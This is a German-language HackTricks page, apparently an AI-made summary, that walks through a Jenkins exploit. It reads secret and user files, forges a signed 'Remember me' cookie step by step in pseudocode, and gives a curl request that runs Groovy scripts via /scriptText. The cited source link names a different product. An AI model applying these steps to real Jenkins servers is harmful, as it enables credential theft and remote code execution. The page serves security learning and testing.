Jenkins Arbitrary File Read to RCE via “Remember Me”
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Unterstütze HackTricks
- Sieh dir die Abonnementpläne an!
- Tritt der 💬 Discord group oder der telegram group bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs an die HackTricks und HackTricks Cloud GitHub-Repos einreichst.
In diesem Blogbeitrag ist es möglich, einen großartigen Weg zu finden, um eine Local File Inclusion-Sicherheitsanfälligkeit in Jenkins in RCE zu verwandeln: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/
Dies ist eine von KI erstellte Zusammenfassung des Teils des Beitrags, in dem das Erstellen eines beliebigen Cookies ausgenutzt wird, um RCE zu erhalten, indem eine lokale Datei gelesen wird, bis ich Zeit habe, eine eigene Zusammenfassung zu erstellen:
Angriffsvoraussetzungen
- Funktionsanforderung: “Remember me” muss aktiviert sein (Standardeinstellung).
- Zugriffslevel: Angreifer benötigt Gesamt-/Lese-Berechtigungen.
- Geheimer Zugriff: Fähigkeit, sowohl binäre als auch textuelle Inhalte aus wichtigen Dateien zu lesen.
Detaillierter Ausbeutungsprozess
Schritt 1: Datensammlung
Benutzerinformationsabruf
- Greifen Sie auf die Benutzerkonfiguration und Geheimnisse von
$JENKINS_HOME/users/*.xmlfür jeden Benutzer zu, um Folgendes zu sammeln: - Benutzername
- Benutzersamen
- Zeitstempel
- Passworthash
Geheimschlüsselextraktion
- Extrahieren Sie kryptografische Schlüssel, die zum Signieren des Cookies verwendet werden:
- Geheimschlüssel:
$JENKINS_HOME/secret.key - Master-Schlüssel:
$JENKINS_HOME/secrets/master.key - MAC-Schlüsseldatei:
$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac
Schritt 2: Cookie-Fälschung
Token-Vorbereitung
- Berechnen Sie die Token-Ablaufzeit:
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Fügt eine Stunde zur aktuellen Zeit hinzu
- Daten für das Token verketten:
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
MAC-Schlüsselentschlüsselung
- Entschlüsseln Sie die MAC-Schlüsseldatei:
key = toAes128Key(masterKey) // Konvertieren Sie den Master-Schlüssel in das AES128-Schlüssel-Format
decrypted = AES.decrypt(macFile, key) // Entschlüsseln Sie die .mac-Datei
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
Signaturberechnung
- Berechnen Sie HMAC SHA256:
mac = HmacSHA256(token, macKey) // Berechnen Sie HMAC mit dem Token und dem MAC-Schlüssel
tokenSignature = bytesToHexString(mac) // Konvertieren Sie das MAC in eine hexadezimale Zeichenfolge
Cookie-Codierung
- Generieren Sie das endgültige Cookie:
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Base64-codieren Sie die Cookie-Daten
Schritt 3: Codeausführung
Sitzungsauthentifizierung
- Abrufen von CSRF- und Sitzungstoken:
- Stellen Sie eine Anfrage an
/crumbIssuer/api/json, umJenkins-Crumbzu erhalten. - Erfassen Sie
JSESSIONIDaus der Antwort, die zusammen mit dem Remember-Me-Cookie verwendet wird.
Befehlsausführungsanfrage
- Senden Sie eine POST-Anfrage mit Groovy-Skript:
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
- Das Groovy-Skript kann verwendet werden, um systemweite Befehle oder andere Operationen innerhalb der Jenkins-Umgebung auszuführen.
Der bereitgestellte Beispiel-curl-Befehl zeigt, wie man eine Anfrage an Jenkins mit den erforderlichen Headern und Cookies sendet, um beliebigen Code sicher auszuführen.
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Unterstütze HackTricks
- Sieh dir die Abonnementpläne an!
- Tritt der 💬 Discord group oder der telegram group bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs an die HackTricks und HackTricks Cloud GitHub-Repos einreichst.
HackTricks Cloud

